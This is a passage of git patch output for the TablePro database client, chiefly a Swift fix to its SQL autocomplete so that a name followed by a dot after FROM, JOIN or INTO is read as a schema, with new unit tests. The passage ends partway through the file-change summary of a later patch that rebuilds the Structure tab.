+  <a href="https://pyto.com?ref=tablepro"><img src=".github/assets/sponsors/pyto.svg" height="44" alt="Pyto"></a>
+</p>
 
-**[SimpleLocalize](https://simplelocalize.io?ref=tablepro)** · **[CodeRabbit](https://coderabbit.ai?ref=tablepro)** · **[Nimbus](https://getnimbus.io?ref=tablepro)** · **[Dwarves Foundation](https://dwarves.foundation/?ref=tablepro)**
+个人赞助者: [朱文锦](https://github.com/zhuwjin)
 
 ## 贡献者
 

From 42411431c0aec36d923ae6cb42f4ad3ed562f92b Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Ng=C3=B4=20Qu=E1=BB=91c=20=C4=90=E1=BA=A1t?=
 <datlechin@gmail.com>
Date: Thu, 29 Oct 2026 17:34:54 +0700
Subject: [PATCH 22/44] fix(autocomplete): read a qualifier after FROM as a
 schema, not a table (#3874)

---
 .../SQLCompletionProvider.swift               | 29 +++++-----
 .../SQLContextAnalyzer.swift                  | 58 ++++++++++++++++---
 .../SQLClauseDetectionTests.swift             | 22 +++++++
 .../SQLCompletionProviderCatalogTests.swift   | 29 ++++++++++
 ...QLContextAnalyzerTableReferenceTests.swift | 11 ++++
 apple/changelog.d/3874.fixed.md               |  1 +
 6 files changed, 130 insertions(+), 20 deletions(-)
 create mode 100644 apple/changelog.d/3874.fixed.md

diff --git a/apple/Packages/TableProCore/Sources/TableProAutocomplete/SQLCompletionProvider.swift b/apple/Packages/TableProCore/Sources/TableProAutocomplete/SQLCompletionProvider.swift
index a190774b8c..4c7af0ac3c 100644
--- a/apple/Packages/TableProCore/Sources/TableProAutocomplete/SQLCompletionProvider.swift
+++ b/apple/Packages/TableProCore/Sources/TableProAutocomplete/SQLCompletionProvider.swift
@@ -150,22 +150,25 @@ public final class SQLCompletionProvider {
 
         // A dot prefix is a table or alias first, then a schema (its tables) or a database (its schemas, or its
         // tables on an engine with none). The namespace fallback also covers an alias that resolves to a schema
-        // name parsed out of the FROM clause.
+        // name parsed out of the FROM clause. In a table slot it can only qualify the table being named, so a table
+        // that shares the name is never read for columns.
         if let dotPrefix = context.dotPrefix {
             guard let catalog else { return [] }
-            if let derived = context.tableReferences.first(where: {
-                $0.isDerived && $0.identifier.caseInsensitiveCompare(dotPrefix) == .orderedSame
-            }) {
-                let columns = await derivedColumns(of: derived)
-                if !columns.isEmpty {
-                    return [columns.map { SQLCompletionItem.column($0, dataType: nil, tableName: derived.identifier) }]
+            if !context.expectsObjectName {
+                if let derived = context.tableReferences.first(where: {
+                    $0.isDerived && $0.identifier.caseInsensitiveCompare(dotPrefix) == .orderedSame
+                }) {
+                    let columns = await derivedColumns(of: derived)
+                    if !columns.isEmpty {
+                        return [columns.map { SQLCompletionItem.column($0, dataType: nil, tableName: derived.identifier) }]
+                    }
+                }
+                if let tableName = await catalog.resolveAlias(dotPrefix, in: context.tableReferences) {
+                    let schema = context.tableReferences.first {
+                        $0.tableName.caseInsensitiveCompare(tableName) == .orderedSame
+                    }?.schema
+                    items = await catalog.columnCompletionItems(for: tableName, schema: schema)
                 }
-            }
-            if let tableName = await catalog.resolveAlias(dotPrefix, in: context.tableReferences) {
-                let schema = context.tableReferences.first {
-                    $0.tableName.caseInsensitiveCompare(tableName) == .orderedSame
-                }?.schema
-                items = await catalog.columnCompletionItems(for: tableName, schema: schema)
             }
             if items.isEmpty {
                 if await catalog.isKnownSchema(dotPrefix) {
diff --git a/apple/Packages/TableProCore/Sources/TableProAutocomplete/SQLContextAnalyzer.swift b/apple/Packages/TableProCore/Sources/TableProAutocomplete/SQLContextAnalyzer.swift
index aadeb59b74..841ac697c2 100644
--- a/apple/Packages/TableProCore/Sources/TableProAutocomplete/SQLContextAnalyzer.swift
+++ b/apple/Packages/TableProCore/Sources/TableProAutocomplete/SQLContextAnalyzer.swift
@@ -209,6 +209,7 @@ public final class SQLContextAnalyzer {
     private static let doubleQuote = UInt16(UnicodeScalar("\"").value)
     private static let backtick = UInt16(UnicodeScalar("`").value)
     private static let openBracket = UInt16(UnicodeScalar("[").value)
+    private static let closeBracket = UInt16(UnicodeScalar("]").value)
     private static let dollar = UInt16(UnicodeScalar("$").value)
     private static let hash = UInt16(UnicodeScalar("#").value)
 
@@ -260,8 +261,9 @@ public final class SQLContextAnalyzer {
     // and hold any character.
     private static let quotedSegment = "[`\"'\\[]?\\w+[`\"'\\]]?"
 
+    // A trailing dot stays in the path, so `JOIN sales.` reads as unfinished instead of naming a table `sales`.
     private static let tableRefRegexes: [NSRegularExpression] = {
-        let path = "(\(quotedSegment)(?:\\.\(quotedSegment))*)"
+        let path = "(\(quotedSegment)(?:\\.\(quotedSegment))*\\.?)"
         let alias = "(?:\\s+(?:AS\\s+)?(\(quotedSegment)))?"
         let patterns = [
             // MySQL's STRAIGHT_JOIN has no word boundary before JOIN.
@@ -282,7 +284,7 @@ public final class SQLContextAnalyzer {
     )
 
     private static let alterTableRegex = compileRegex(
-        "(?i)\\bALTER\\s+TABLE\\s+(\(quotedSegment)(?:\\.\(quotedSegment))*)"
+        "(?i)\\bALTER\\s+TABLE\\s+(\(quotedSegment)(?:\\.\(quotedSegment))*\\.?)"
     )
 
     private static let derivedTableParser = DerivedTableParser()
@@ -855,7 +857,13 @@ public final class SQLContextAnalyzer {
             append(upTo: index)
             start = index + 1
         }
-        append(upTo: end)
+        // The name after a trailing dot is still being typed: an empty last segment, so no caller reads `sales.` as
+        // a table named `sales`.
+        if start == end, end > range.location {
+            segments.append(PathSegment(masked: "", name: "", isQuoted: false))
+        } else {
+            append(upTo: end)
+        }
         return segments
     }
 
@@ -1048,10 +1056,6 @@ public final class SQLContextAnalyzer {
         dotPrefix: String?,
         currentFunction: String? = nil
     ) -> ClauseResolution {
-        if dotPrefix != nil {
-            return ClauseResolution(clause: .select, expectsObjectName: false)
-        }
-
         // Bounds the regex work on a long statement. SQLContextAnalyzerWindowingTests pins the size.
         let windowSize = 5_000
         let nsText = textBeforeCursor as NSString
@@ -1059,6 +1063,10 @@ public final class SQLContextAnalyzer {
             ? nsText.substring(from: nsText.length - windowSize)
             : textBeforeCursor
 
+        if dotPrefix != nil {
+            return ClauseResolution(clause: .select, expectsObjectName: qualifiesTableName(after: windowedText))
+        }
+
         // Structural contexts first: `CREATE TABLE test (id ` looks like a call to `test(` but is a column definition.
         let range = NSRange(location: 0, length: (windowedText as NSString).length)
         for (regex, clause) in Self.structuralClauseRegexes {
@@ -1079,6 +1087,42 @@ public final class SQLContextAnalyzer {
         return ClauseResolution(clause: .unknown, expectsObjectName: false)
     }
 
+    // `FROM sales.` qualifies the table being named. A FROM after `IS DISTINCT` or inside a call such as
+    // `EXTRACT(YEAR FROM o.`, and any qualifier this cannot place, stays a table or alias.
+    private func qualifiesTableName(after textBeforePrefix: String) -> Bool {
+        let tokens = tokenize(Self.removingTrailingPath(textBeforePrefix))
+        guard let keyword = tokens.last, keyword.kind == .word,
+              ["FROM", "JOIN", "INTO"].contains(keyword.upper) else { return false }
+        guard keyword.upper == "FROM" else { return true }
+        if tokens.count >= 2, tokens[tokens.count - 2].upper == "DISTINCT" { return false }
+        var open: [Int] = []
+        for (index, token) in tokens.enumerated() {
+            if token.kind == .openParen {
+                open.append(index)
+            } else if token.kind == .closeParen, !open.isEmpty {
+                open.removeLast()
+            }
+        }
+        guard let paren = open.last, paren > 0, tokens[paren - 1].kind == .word else { return true }
+        return Self.groupingKeywords.contains(tokens[paren - 1].upper)
+    }
+
+    // A parenthesis after one of these opens a subquery or a join group, so a FROM inside it names a table.
+    private static let groupingKeywords: Set<String> = [
+        "FROM", "JOIN", "LATERAL", "AS", "IN", "EXISTS", "ANY", "ALL", "SOME", "UNION", "INTERSECT", "EXCEPT"
+    ]
+
+    private static func removingTrailingPath(_ text: String) -> String {
+        let ns = text as NSString
+        var start = ns.length
+        while start > 0 {
+            let ch = ns.character(at: start - 1)
+            guard SQLTokenBoundary.isTokenChar(ch) || ch == dot || ch == openBracket || ch == closeBracket else { break }
+            start -= 1
+        }
+        return ns.substring(to: start)
+    }
+
     // MARK: - Linear Clause Scan
 
     private enum ScanTokenKind {
diff --git a/apple/Packages/TableProCore/Tests/TableProAutocompleteTests/SQLClauseDetectionTests.swift b/apple/Packages/TableProCore/Tests/TableProAutocompleteTests/SQLClauseDetectionTests.swift
index bf73b9a139..9fb3812a87 100644
--- a/apple/Packages/TableProCore/Tests/TableProAutocompleteTests/SQLClauseDetectionTests.swift
+++ b/apple/Packages/TableProCore/Tests/TableProAutocompleteTests/SQLClauseDetectionTests.swift
@@ -132,6 +132,28 @@ struct SQLClauseDetectionTests {
         #expect(ctx.expectsObjectName == testCase.expects)
     }
 
+    @Test("A qualifier's dot sits in the table slot only right after a table-naming keyword", arguments: [
+        (query: "SELECT * FROM sales.", expects: true),
+        (query: "SELECT * FROM a JOIN sales.", expects: true),
+        (query: "INSERT INTO sales.", expects: true),
+        (query: "SELECT * FROM t WHERE id IN (SELECT id FROM sales.", expects: true),
+        (query: "SELECT * FROM (WITH c AS (SELECT 1 AS id) SELECT * FROM sales.", expects: true),
+        (query: "SELECT * FROM (a JOIN sales.", expects: true),
+        (query: "SELECT o. FROM orders o", expects: false),
+        (query: "SELECT * FROM orders o WHERE o.", expects: false),
+        (query: "SELECT * FROM a, sales.", expects: false),
+        (query: "SELECT EXTRACT(YEAR FROM o.", expects: false),
+        (query: "SELECT SUBSTR(o.status FROM o.", expects: false),
+        (query: "SELECT * FROM t WHERE a IS DISTINCT FROM o.", expects: false),
+        (query: "SELECT * FROM orders o, generate_series(1, o.", expects: false),
+    ])
+    func dotInOperandSlot(_ testCase: (query: String, expects: Bool)) {
+        let cursor = testCase.query.hasPrefix("SELECT o.") ? 9 : (testCase.query as NSString).length
+        let ctx = analyzer.analyze(query: testCase.query, cursorPosition: cursor)
+        #expect(ctx.dotPrefix != nil)
+        #expect(ctx.expectsObjectName == testCase.expects)
+    }
+
     // MARK: - String and Comment Guards
 
     @Test("Clause keywords inside a string literal are ignored")
diff --git a/apple/Packages/TableProCore/Tests/TableProAutocompleteTests/SQLCompletionProviderCatalogTests.swift b/apple/Packages/TableProCore/Tests/TableProAutocompleteTests/SQLCompletionProviderCatalogTests.swift
index cb4c923171..b2d62173dd 100644
--- a/apple/Packages/TableProCore/Tests/TableProAutocompleteTests/SQLCompletionProviderCatalogTests.swift
+++ b/apple/Packages/TableProCore/Tests/TableProAutocompleteTests/SQLCompletionProviderCatalogTests.swift
@@ -102,6 +102,35 @@ struct SQLCompletionProviderCatalogTests {
         #expect(Set(session.items.map(\.label)) == ["orders", "customers"])
     }
 
+    // On Oracle the column read for a table that was never there ran first and queued the schema's table list
+    // behind it on one connection.
+    @Test("A qualifier in a table slot offers its schema's tables, even beside a table of that name")
+    func tableSlotQualifierIsASchema() async {
+        let catalog = StubCatalog(
+            tables: ["audit"], columns: ["audit": ["id", "action"]], schemas: ["audit"],
+            schemaTables: ["audit": ["events"]]
+        )
+        let provider = SQLCompletionProvider(catalog: catalog, grammar: .engine("PostgreSQL"), vocabulary: .generic)
+        for text in ["SELECT * FROM audit.", "SELECT * FROM orders o JOIN audit.", "INSERT INTO audit."] {
+            let session = await provider.completionSession(text: text, cursorPosition: (text as NSString).length)
+            #expect(session.items.map(\.label) == ["events"], "\(text)")
+        }
+        let columns = await provider.completionSession(text: "SELECT audit. FROM audit", cursorPosition: 13)
+        #expect(Set(columns.items.map(\.label)) == ["id", "action"])
+    }
+
+    @Test("A FROM inside an expression keeps an alias's columns", arguments: [
+        "SELECT EXTRACT(YEAR FROM o.|) FROM orders o",
+        "SELECT SUBSTRING(o.status FROM o.|) FROM orders o",
+        "SELECT SUBSTR(o.status FROM o.|) FROM orders o",
+        "SELECT * FROM orders o WHERE o.total IS DISTINCT FROM o.|",
+        "SELECT * FROM orders o WHERE o.total IS NOT DISTINCT FROM o.|",
+        "SELECT * FROM orders o, generate_series(1, o.|)"
+    ])
+    func expressionFromKeepsAliasColumns(_ marked: String) async {
+        #expect(Set(await labels(marked)) == ["id", "total", "status"])
+    }
+
     @Test("UPDATE offers tables")
     func updateOffersTables() async {
         let session = await provider.completionSession(text: "UPDATE or", cursorPosition: 9)
diff --git a/apple/Packages/TableProCore/Tests/TableProAutocompleteTests/SQLContextAnalyzerTableReferenceTests.swift b/apple/Packages/TableProCore/Tests/TableProAutocompleteTests/SQLContextAnalyzerTableReferenceTests.swift
index f45cfea954..3db7400b72 100644
--- a/apple/Packages/TableProCore/Tests/TableProAutocompleteTests/SQLContextAnalyzerTableReferenceTests.swift
+++ b/apple/Packages/TableProCore/Tests/TableProAutocompleteTests/SQLContextAnalyzerTableReferenceTests.swift
@@ -38,6 +38,17 @@ struct SQLContextAnalyzerTableReferenceTests {
         #expect(tables("ALTER TABLE invoices ADD COLUMN due DATE") == ["invoices"])
     }
 
+    @Test("A path that ends in a dot names no table yet")
+    func unfinishedPath() {
+        #expect(tables("SELECT * FROM sales.").isEmpty)
+        #expect(tables("SELECT * FROM orders o JOIN sales.") == ["orders"])
+        #expect(tables("UPDATE sales.").isEmpty)
+        #expect(tables("INSERT INTO sales.").isEmpty)
+        #expect(tables("ALTER TABLE sales.").isEmpty)
+        #expect(analyzer.analyze(query: "SELECT * FROM sales.", cursorPosition: 20).tableReferences.isEmpty)
+        #expect(tables("SELECT * FROM sales.orders") == ["orders"])
+    }
+
     @Test("A schema-qualified ALTER target keeps its schema")
     func qualifiedAlterTarget() {
         let references = analyzer.tableReferences(in: "ALTER TABLE archive.orders ADD COLUMN due DATE", grammar: .ansi)
diff --git a/apple/changelog.d/3874.fixed.md b/apple/changelog.d/3874.fixed.md
new file mode 100644
index 0000000000..a022de62b5
--- /dev/null
+++ b/apple/changelog.d/3874.fixed.md
@@ -0,0 +1 @@
+Autocomplete after a schema name and a dot could list a same-named table's columns, or time out on Oracle.

From 83d61b281aa394082eaf4141c33dcc663632c654 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Ng=C3=B4=20Qu=E1=BB=91c=20=C4=90=E1=BA=A1t?=
 <datlechin@gmail.com>
Date: Thu, 29 Oct 2026 19:14:53 +0700
Subject: [PATCH 23/44] feat(structure): rebuild the Structure tab as one
 Definition page with an inspector (#3872)

---
 .claude/rules/data-grid.md                    |   1 +
 apple/.swiftlint.yml                          |   2 +-
 .../Core/DataGrid/DataGridModel.swift         |   7 +
 .../TablePro/Core/Menu/FileMenuBuilder.swift  |   4 +
 .../CreateTableStatementComposer.swift        |  35 +-
 .../SchemaStatementGenerator.swift            |  39 +-
 .../StructureChangeManager.swift              | 187 ++++--
 ...nSplitViewController+FileMenuActions.swift |   4 +
 ...inSplitViewController+MenuValidation.swift |  14 +-
 .../Connection/ConnectionToolbarState.swift   |   2 -
 .../Models/Query/ResultStatusModel.swift      |   4 -
 .../Models/Query/StatusBarSnapshot.swift      |   6 -
 .../Schema/CreateTableDraftBuilder.swift      | 171 +++--
 .../TablePro/Models/Schema/SchemaChange.swift |  51 ++
 .../Models/Schema/SchemaDraftIssue.swift      |  23 +-
 .../Schema/SchemaEntityOperations.swift       |  11 +-
 ...uctureTab.swift => StructureSection.swift} |  25 +-
 .../Models/UI/DataGridConfiguration.swift     |   6 +
 .../TablePro/Models/UI/FieldEditorKind.swift  |   5 -
 .../Models/UI/InspectorFieldLayout.swift      |  63 --
 .../Models/UI/InspectorRowSource.swift        |  37 --
 .../TablePro/Models/UI/InspectorSubject.swift |  56 +-
 .../Models/UI/MultiRowEditState.swift         |  66 +-
 .../Models/UI/PendingChangeKind.swift         |  38 +-
 .../Models/UI/RowInspectorContext.swift       |  51 +-
 .../TablePro/Resources/Localizable.xcstrings  | 205 ++++++
 .../DataFiles/DataFileRowDetailsView.swift    |   1 -
 .../DataGrid/Cells/DataGridCellContent.swift  |   5 +-
 .../Cells/DataGridCellPresenter.swift         |   8 +-
 .../DataGrid/Cells/DataGridMetrics.swift      |  10 +
 .../DataGrid/DataGridContainerView.swift      |  31 +-
 .../Views/DataGrid/DataGridScrollView.swift   |  57 +-
 .../Views/DataGrid/DataGridTableView.swift    |  17 +-
 .../Views/DataGrid/DataGridView.swift         |   7 +-
 .../DataGridViewController+Changes.swift      |  29 +
 .../DataGridViewController+Selection.swift    |  53 +-
 .../DataGrid/DataGridViewController.swift     |  12 +
 .../Main/Child/MainEditorContentView.swift    |  29 +-
 .../MainContentCoordinator+GridModels.swift   |   2 +
 .../MainContentCoordinator+Protection.swift   |  75 +--
 .../MainContentCoordinator+Refresh.swift      |   2 +-
 .../MainContentCoordinator+SQLPreview.swift   |  14 +-
 .../MainContentCoordinator+Structure.swift    |  25 +
 .../MainContentCoordinator+TabClosing.swift   |   2 -
 ...nContentCoordinator+TableRowsRefresh.swift |   4 +-
 .../Extensions/MainContentView+Bindings.swift |  42 +-
 .../MainContentView+EventHandlers.swift       |  38 +-
 .../Extensions/MainContentView+Helpers.swift  |  16 +-
 .../Extensions/MainContentView+Setup.swift    |  25 +-
 .../MainContentCommandActions+Structure.swift | 117 ++++
 .../MainContentCommandActions+UndoState.swift |  78 ++-
 .../Main/MainContentCommandActions.swift      |  90 ++-
 .../Views/Main/MainContentCoordinator.swift   |   8 -
 .../TablePro/Views/Main/MainContentView.swift |  50 +-
 .../Views/Results/ResultStatusBar.swift       |  17 -
 .../FieldEditors/FieldEditorContent.swift     |  17 +-
 .../FieldEditors/FieldEditorContext.swift     |  12 +-
 .../FieldEditors/SchemaTextFieldView.swift    |  49 --
 .../FieldEditors/TypePickerFieldView.swift    |  44 --
 .../FieldEditors/ValuePickerFieldView.swift   | 101 ---
 .../RowInspector/InspectorFieldListView.swift |  18 +-
 .../RowInspector/InspectorFieldRow.swift      |  64 +-
 .../Views/RowInspector/RowInspectorView.swift |  69 +-
 .../Views/RowInspector/TableInfoView.swift    | 120 ++--
 .../FieldEditors/FieldEditorResolver.swift    |   1 -
 .../Views/Structure/ClickHousePartsView.swift |   2 +-
 .../Structure/CreateTableActionHandler.swift  |  13 -
 .../Views/Structure/CreateTableDraft.swift    | 450 +++++++++++--
 .../Structure/CreateTableFormEditor.swift     |  90 ---
 .../Structure/CreateTableGridAdapter.swift    | 327 ----------
 .../Views/Structure/CreateTableView.swift     | 610 ++++--------------
 .../Inspector/CreateTablePropertiesView.swift | 117 ++++
 .../StructureDefinitionFormView.swift         | 165 +++++
 .../StructureInspectorControls.swift          | 232 +++++++
 .../Inspector/StructureInspectorForm.swift    | 116 ++++
 .../StructureInspectorPresentation.swift      | 121 ++++
 .../Inspector/StructureInspectorView.swift    |  89 +++
 .../StructureTablePropertiesView.swift        | 439 +++++++++++++
 .../Views/Structure/StructureDDLPane.swift    | 133 ++++
 .../Structure/StructureDefinitionEditor.swift | 360 +++++++++++
 .../Structure/StructureDefinitionPage.swift   | 242 +++++++
 .../Views/Structure/StructureEditGate.swift   |   9 +-
 .../Structure/StructureEditingContext.swift   |  97 +++
 .../StructureEditingSession+Apply.swift       |   1 +
 .../StructureEditingSession+Baseline.swift    |  44 --
 ...ructureEditingSession+ColumnReorder.swift} |  15 +-
 .../StructureEditingSession+Commands.swift    | 132 ++++
 .../StructureEditingSession+Loading.swift     | 298 +++++++++
 .../Structure/StructureEditingSession.swift   | 155 ++---
 .../Structure/StructureFooterPolicy.swift     |  99 +--
 .../StructureGridAdapter+Inspector.swift      |  28 -
 .../Structure/StructureGridAdapter.swift      | 546 ----------------
 .../Structure/StructureGridStateStore.swift   |  67 +-
 .../Structure/StructureGridSupport.swift      | 109 ++--
 .../StructureInspectorRowBuilder.swift        |  75 ---
 .../Views/Structure/StructureLoadState.swift  |  64 ++
 .../Structure/StructureRowProvider.swift      |  82 +--
 .../Views/Structure/StructureSavePlan.swift   |   4 +-
 ...ft => StructureSectionAdapter+Menus.swift} | 136 ++--
 .../Structure/StructureSectionAdapter.swift   | 517 +++++++++++++++
 .../Structure/StructureServerSupport.swift    |   4 +-
 .../Structure/StructureTabAvailability.swift  |  43 --
 .../Structure/StructureTabDataState.swift     |  41 --
 .../StructureTableRebuildHandler.swift        |   2 +-
 .../StructureViewActionHandler.swift          |  23 -
 .../Views/Structure/TableOptionsView.swift    | 281 --------
 .../TableStructureView+DataLoading.swift      | 259 --------
 .../TableStructureView+EditGate.swift         |  38 --
 .../Structure/TableStructureView+Schema.swift | 187 ------
 .../TableStructureView+TableComment.swift     |  85 ---
 .../TableStructureView+TableOptions.swift     |  46 --
 .../Views/Structure/TableStructureView.swift  | 452 +++----------
 .../Views/Structure/TriggerDetailView.swift   |  16 +-
 .../Database/TriggerInfoMappingTests.swift    |  26 +-
 .../CreateTableCommentCompositionTests.swift  |   2 +-
 .../IndexDecliningDriverTests.swift           |   2 +-
 .../PrimaryKeyStatementOrderTests.swift       |  86 +++
 .../SchemaOperationRefusalTests.swift         |   4 +-
 .../StructureChangeManagerSaveHoldTests.swift |  11 +-
 .../StructureChangeManagerStagingTests.swift  | 273 ++++++++
 ...uctureChangeManagerTableCommentTests.swift |  41 +-
 ...uctureChangeManagerTableOptionsTests.swift |  12 -
 .../StructureChangeManagerUndoTests.swift     |  38 +-
 .../StructureChangeNameReuseTests.swift       |  52 +-
 ...ctureEditingSessionTableOptionsTests.swift |   8 -
 .../TableCommentStatementTests.swift          |   2 +-
 .../TableProTests/Helpers/TestFixtures.swift  |   9 +
 .../Models/InspectorFieldLayoutTests.swift    | 126 ----
 .../Models/InspectorSubjectTests.swift        |  39 +-
 .../Models/MultiRowEditStateTests.swift       |  98 ---
 .../Models/PendingChangeKindTests.swift       |  13 +
 .../Models/ResultStatusModelTests.swift       |  15 -
 .../Schema/CreateTableDraftBuilderTests.swift |  68 +-
 .../Schema/CreateTableFormStateTests.swift    |  34 +-
 .../DataGrid/DataGridFittingHeightTests.swift | 336 ++++++++++
 .../Main/CommandActionsDispatchTests.swift    | 158 ++---
 .../MainContentCoordinatorRefreshTests.swift  |  19 +-
 .../Main/ResultStatusBarLayoutTests.swift     |  28 +-
 .../Main/StructureActionHandlerTests.swift    | 220 -------
 .../Main/StructureCommandRoutingTests.swift   | 187 ++++++
 .../Views/Main/TabCloseProtectionTests.swift  |   8 +-
 .../Views/Main/TriggerStructTests.swift       |   9 +
 .../Views/Main/UserTypeTabStateTests.swift    |   1 -
 .../InspectorPopOutWindowTests.swift          |   1 -
 .../InspectorValueThemeTests.swift            |   4 +-
 .../SplitItemGlassBackgroundTests.swift       |   2 +-
 .../CreateTableDraftCommandTests.swift        | 145 +++++
 .../CreateTableDraftCompositionTests.swift    | 152 ++++-
 .../StructureAvailabilityTests.swift          | 136 ++++
 .../StructureCodeStandInThemeTests.swift      |   2 +-
 .../StructureDefinitionEditorTests.swift      | 298 +++++++++
 .../Structure/StructureEditGateTests.swift    |   1 -
 .../StructureEditingSessionTests.swift        | 400 +++++++++---
 ...tructureEditingSupportFieldDiffTests.swift |  39 +-
 .../StructureFooterPolicyTests.swift          | 225 ++++---
 .../StructureGridAdapterAddRowTests.swift     | 204 ------
 .../StructureGridAdapterInspectorTests.swift  | 278 --------
 .../StructureGridStateStoreTests.swift        | 204 ++++--
 .../StructureGridValueFilterEditTests.swift   | 102 +--
 .../StructureIndexTypeMenuTests.swift         |  72 ++-
 .../StructureInspectorFormTests.swift         | 228 +++++++
 .../StructureInspectorPresentationTests.swift | 173 +++++
 .../StructureInspectorRowBuilderTests.swift   | 182 ------
 .../StructureListGridAccessibilityTests.swift |   2 +-
 .../Structure/StructureLoadStateTests.swift   | 148 +++++
 .../StructureRowMenuRouteTests.swift          | 111 ++--
 ...uctureRowProviderBooleanOptionsTests.swift |   8 +-
 .../Structure/StructureRowProviderTests.swift |   2 +-
 .../StructureSectionAdapterTests.swift        | 285 ++++++++
 .../StructureServerSupportTests.swift         |   4 +-
 .../StructureTabAvailabilityTests.swift       |  69 --
 .../StructureTabDataStateTests.swift          |  88 ---
 .../SidebarAddMenuUITests.swift               |  24 +-
 .../StructureSaveConfirmationUITests.swift    |   2 +-
 .../TableChangeReloadUITests.swift            |   2 +-
 apple/changelog.d/3872.added.md               |   1 +
 apple/changelog.d/3872.changed.md             |   1 +
 apple/changelog.d/3872.fixed.1.md             |   1 +
 apple/changelog.d/3872.fixed.2.md             |   1 +
 apple/changelog.d/3872.fixed.3.md             |   1 +
 apple/changelog.d/3872.fixed.4.md             |   1 +
 apple/changelog.d/3872.fixed.5.md             |   1 +
 apple/changelog.d/3872.fixed.6.md             |   1 +
 apple/changelog.d/3872.fixed.7.md             |   1 +
 apple/changelog.d/3872.fixed.8.md             |   1 +
 apple/changelog.d/3872.fixed.md               |   1 +
 186 files changed, 8940 insertions(+), 6522 deletions(-)
 rename apple/TablePro/Models/Schema/{StructureTab.swift => StructureSection.swift} (52%)
 delete mode 100644 apple/TablePro/Models/UI/InspectorFieldLayout.swift
 delete mode 100644 apple/TablePro/Models/UI/InspectorRowSource.swift
 create mode 100644 apple/TablePro/Views/Main/Extensions/MainContentCoordinator+Structure.swift
 create mode 100644 apple/TablePro/Views/Main/MainContentCommandActions+Structure.swift
 delete mode 100644 apple/TablePro/Views/RowInspector/FieldEditors/SchemaTextFieldView.swift
 delete mode 100644 apple/TablePro/Views/RowInspector/FieldEditors/TypePickerFieldView.swift
 delete mode 100644 apple/TablePro/Views/RowInspector/FieldEditors/ValuePickerFieldView.swift
 delete mode 100644 apple/TablePro/Views/Structure/CreateTableActionHandler.swift
 delete mode 100644 apple/TablePro/Views/Structure/CreateTableFormEditor.swift
 delete mode 100644 apple/TablePro/Views/Structure/CreateTableGridAdapter.swift
 create mode 100644 apple/TablePro/Views/Structure/Inspector/CreateTablePropertiesView.swift
 create mode 100644 apple/TablePro/Views/Structure/Inspector/StructureDefinitionFormView.swift
 create mode 100644 apple/TablePro/Views/Structure/Inspector/StructureInspectorControls.swift
 create mode 100644 apple/TablePro/Views/Structure/Inspector/StructureInspectorForm.swift
 create mode 100644 apple/TablePro/Views/Structure/Inspector/StructureInspectorPresentation.swift
 create mode 100644 apple/TablePro/Views/Structure/Inspector/StructureInspectorView.swift
 create mode 100644 apple/TablePro/Views/Structure/Inspector/StructureTablePropertiesView.swift
 create mode 100644 apple/TablePro/Views/Structure/StructureDDLPane.swift
 create mode 100644 apple/TablePro/Views/Structure/StructureDefinitionEditor.swift
 create mode 100644 apple/TablePro/Views/Structure/StructureDefinitionPage.swift
 create mode 100644 apple/TablePro/Views/Structure/StructureEditingContext.swift
 delete mode 100644 apple/TablePro/Views/Structure/StructureEditingSession+Baseline.swift
 rename apple/TablePro/Views/Structure/{TableStructureView+ColumnReorder.swift => StructureEditingSession+ColumnReorder.swift} (93%)
 create mode 100644 apple/TablePro/Views/Structure/StructureEditingSession+Commands.swift
 create mode 100644 apple/TablePro/Views/Structure/StructureEditingSession+Loading.swift
 delete mode 100644 apple/TablePro/Views/Structure/StructureGridAdapter+Inspector.swift
 delete mode 100644 apple/TablePro/Views/Structure/StructureGridAdapter.swift
 delete mode 100644 apple/TablePro/Views/Structure/StructureInspectorRowBuilder.swift
 create mode 100644 apple/TablePro/Views/Structure/StructureLoadState.swift
 rename apple/TablePro/Views/Structure/{StructureGridAdapter+Menus.swift => StructureSectionAdapter+Menus.swift} (69%)
 create mode 100644 apple/TablePro/Views/Structure/StructureSectionAdapter.swift
 delete mode 100644 apple/TablePro/Views/Structure/StructureTabAvailability.swift
 delete mode 100644 apple/TablePro/Views/Structure/StructureTabDataState.swift
 delete mode 100644 apple/TablePro/Views/Structure/StructureViewActionHandler.swift
 delete mode 100644 apple/TablePro/Views/Structure/TableOptionsView.swift
 delete mode 100644 apple/TablePro/Views/Structure/TableStructureView+DataLoading.swift
 delete mode 100644 apple/TablePro/Views/Structure/TableStructureView+EditGate.swift
 delete mode 100644 apple/TablePro/Views/Structure/TableStructureView+Schema.swift
 delete mode 100644 apple/TablePro/Views/Structure/TableStructureView+TableComment.swift
 delete mode 100644 apple/TablePro/Views/Structure/TableStructureView+TableOptions.swift
 create mode 100644 apple/TableProTests/Core/SchemaTracking/PrimaryKeyStatementOrderTests.swift
 create mode 100644 apple/TableProTests/Core/SchemaTracking/StructureChangeManagerStagingTests.swift
 delete mode 100644 apple/TableProTests/Models/InspectorFieldLayoutTests.swift
 create mode 100644 apple/TableProTests/Views/DataGrid/DataGridFittingHeightTests.swift
 delete mode 100644 apple/TableProTests/Views/Main/StructureActionHandlerTests.swift
 create mode 100644 apple/TableProTests/Views/Main/StructureCommandRoutingTests.swift
 create mode 100644 apple/TableProTests/Views/Structure/CreateTableDraftCommandTests.swift
 create mode 100644 apple/TableProTests/Views/Structure/StructureAvailabilityTests.swift
 create mode 100644 apple/TableProTests/Views/Structure/StructureDefinitionEditorTests.swift
 delete mode 100644 apple/TableProTests/Views/Structure/StructureGridAdapterAddRowTests.swift
 delete mode 100644 apple/TableProTests/Views/Structure/StructureGridAdapterInspectorTests.swift
 create mode 100644 apple/TableProTests/Views/Structure/StructureInspectorFormTests.swift
 create mode 100644 apple/TableProTests/Views/Structure/StructureInspectorPresentationTests.swift
 delete mode 100644 apple/TableProTests/Views/Structure/StructureInspectorRowBuilderTests.swift
 create mode 100644 apple/TableProTests/Views/Structure/StructureLoadStateTests.swift
 create mode 100644 apple/TableProTests/Views/Structure/StructureSectionAdapterTests.swift
 delete mode 100644 apple/TableProTests/Views/Structure/StructureTabAvailabilityTests.swift
 delete mode 100644 apple/TableProTests/Views/Structure/StructureTabDataStateTests.swift
 create mode 100644 apple/changelog.d/3872.added.md
 create mode 100644 apple/changelog.d/3872.changed.md
 create mode 100644 apple/changelog.d/3872.fixed.1.md
 create mode 100644 apple/changelog.d/3872.fixed.2.md
 create mode 100644 apple/changelog.d/3872.fixed.3.md
 create mode 100644 apple/changelog.d/3872.fixed.4.md
 create mode 100644 apple/changelog.d/3872.fixed.5.md
